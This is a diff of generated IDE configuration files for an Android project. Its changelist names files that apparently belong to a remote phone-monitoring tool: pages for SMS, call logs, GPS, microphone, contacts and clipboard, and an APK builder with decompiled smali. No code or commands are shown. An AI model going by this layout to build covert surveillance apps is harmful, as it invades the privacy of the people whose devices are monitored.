<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/1.3/1dc37250fbc78e23a65a67fbbaf71d2e9cbc3c0b/hamcrest-core-1.3-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: org.hamcrest:hamcrest-integration:1.3@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-integration/1.3/5de0c73fef18917cd85d0ab70bb23818685e4dfd/hamcrest-integration-1.3.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-integration/1.3/ae7787a563e6a1b1f17fd4ac43be3a3c8830cfda/hamcrest-integration-1.3-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: org.hamcrest:hamcrest-library:1.3@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-library/1.3/4785a3c21320980282f9f33d0d1264a69040538f/hamcrest-library-1.3.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-library/1.3/47a7ee46628ab7133129cd7cef1e92657bc275e/hamcrest-library-1.3-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
9
client/.idea/misc.xml
generated
Normal file
9
client/.idea/misc.xml
generated
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="1.8" project-jdk-type="JavaSDK">
|
||||||
|
<output url="file://$PROJECT_DIR$/build/classes" />
|
||||||
|
</component>
|
||||||
|
<component name="ProjectType">
|
||||||
|
<option name="id" value="Android" />
|
||||||
|
</component>
|
||||||
|
</project>
|
9
client/.idea/modules.xml
generated
Normal file
9
client/.idea/modules.xml
generated
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectModuleManager">
|
||||||
|
<modules>
|
||||||
|
<module fileurl="file://$PROJECT_DIR$/app/app.iml" filepath="$PROJECT_DIR$/app/app.iml" />
|
||||||
|
<module fileurl="file://$PROJECT_DIR$/client.iml" filepath="$PROJECT_DIR$/client.iml" />
|
||||||
|
</modules>
|
||||||
|
</component>
|
||||||
|
</project>
|
12
client/.idea/runConfigurations.xml
generated
Normal file
12
client/.idea/runConfigurations.xml
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="RunConfigurationProducerService">
|
||||||
|
<option name="ignoredProducers">
|
||||||
|
<set>
|
||||||
|
<option value="org.jetbrains.plugins.gradle.execution.test.runner.AllInPackageGradleConfigurationProducer" />
|
||||||
|
<option value="org.jetbrains.plugins.gradle.execution.test.runner.TestClassGradleConfigurationProducer" />
|
||||||
|
<option value="org.jetbrains.plugins.gradle.execution.test.runner.TestMethodGradleConfigurationProducer" />
|
||||||
|
</set>
|
||||||
|
</option>
|
||||||
|
</component>
|
||||||
|
</project>
|
6
client/.idea/vcs.xml
generated
Normal file
6
client/.idea/vcs.xml
generated
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="VcsDirectoryMappings">
|
||||||
|
<mapping directory="$PROJECT_DIR$/.." vcs="Git" />
|
||||||
|
</component>
|
||||||
|
</project>
|
709
client/.idea/workspace.xml
generated
Normal file
709
client/.idea/workspace.xml
generated
Normal file
@ -0,0 +1,709 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="AndroidLayouts">
|
||||||
|
<shared>
|
||||||
|
<config />
|
||||||
|
</shared>
|
||||||
|
</component>
|
||||||
|
<component name="AndroidLogFilters">
|
||||||
|
<option name="TOOL_WINDOW_LOG_LEVEL" value="verbose" />
|
||||||
|
<option name="TOOL_WINDOW_CONFIGURED_FILTER" value="Show only selected application" />
|
||||||
|
</component>
|
||||||
|
<component name="AvailableLibraryUpdateStorage">
|
||||||
|
<library-updates>
|
||||||
|
<library-update>
|
||||||
|
<group-id>io.socket</group-id>
|
||||||
|
<name>socket.io-client</name>
|
||||||
|
<version>1.0.0</version>
|
||||||
|
<repository>JCenter</repository>
|
||||||
|
</library-update>
|
||||||
|
</library-updates>
|
||||||
|
<last-search-timestamp>1566851843099</last-search-timestamp>
|
||||||
|
</component>
|
||||||
|
<component name="ChangeListManager">
|
||||||
|
<list default="true" id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="">
|
||||||
|
<change afterPath="$PROJECT_DIR$/../.gitignore" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../LICENSE.md" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../README.md" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/apk_builder.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/call_log.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/clipboard.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/contacts.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/devices.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/downloads.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/event_log.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/file_explorer.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_log.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_now.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_settings.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/installed_apps.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/login.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/microphone.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/notification_log.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/permissions.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/sms_log.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/sms_send.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../Screenshots/wifi_manager.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileChanges/last-build.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileContent/fileContent.lock" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/resourceHashesCache.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/gc.properties" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/cache.properties" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.gradle/vcs-1/gc.properties" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/codeStyles/Project.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/encodings.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/gradle.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__junit_junit_4_12_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/misc.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/runConfigurations.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/vcs.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/.gitignore" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/app.iml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/build.gradle" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/proguard-rules.pro" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/release/app-release.apk" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/release/output.json" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/colors.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/dimens.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/strings.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/styles.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/build.gradle" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/client.iml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/gradle.properties" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.jar" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/gradlew" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/gradlew.bat" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/local.properties" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/settings.gradle" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/apktool.jar" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/app-release.apk" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/AndroidManifest.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/classes.dex" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout/activity_main.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/resources.arsc" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/layout-v17/activity_main.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/layout/activity_main.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MyReceiver.smali" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/NotificationListener.smali" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/testkey.pk8" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/testkey.x509.pem" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/app/factory/uber-apk-signer-1.1.0.jar" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/builder.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManager.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/apps.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/call_log.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/clipboard_log.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/contacts.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/deviceNotFound.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/downloads.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/file_manager.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/gps.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/info.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/microphone.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/noPage.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/notification_log.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/permissions.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/sms_manager.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/wifi_manager.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/index.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/login.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/logs.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/deviceManagerMenu.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/footer.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/head.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/header.ejs" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build-aligned-signed.apk" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build.apk" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build.s.apk" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/client_downloads/blank" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.css" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.css.map" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.scss" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/layers-2x.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/layers.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-icon-2x.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-icon.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-shadow.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/leaflet.css" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/semantic.min.css" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/snackbar.min.css" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.eot" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.svg" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.ttf" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.woff" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.woff2" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.eot" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.otf" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.svg" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.ttf" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.woff" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.woff2" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.eot" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.svg" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.ttf" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.woff" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.woff2" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/images/flags.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/jquery-3.4.1.min.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/leaflet.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/main.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/semantic.min.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/snackbar.min.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/logo.png" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/clientData/blank" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/includes/apkBuilder.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/includes/clientManager.js" afterDir="false" />
|
||||||
|
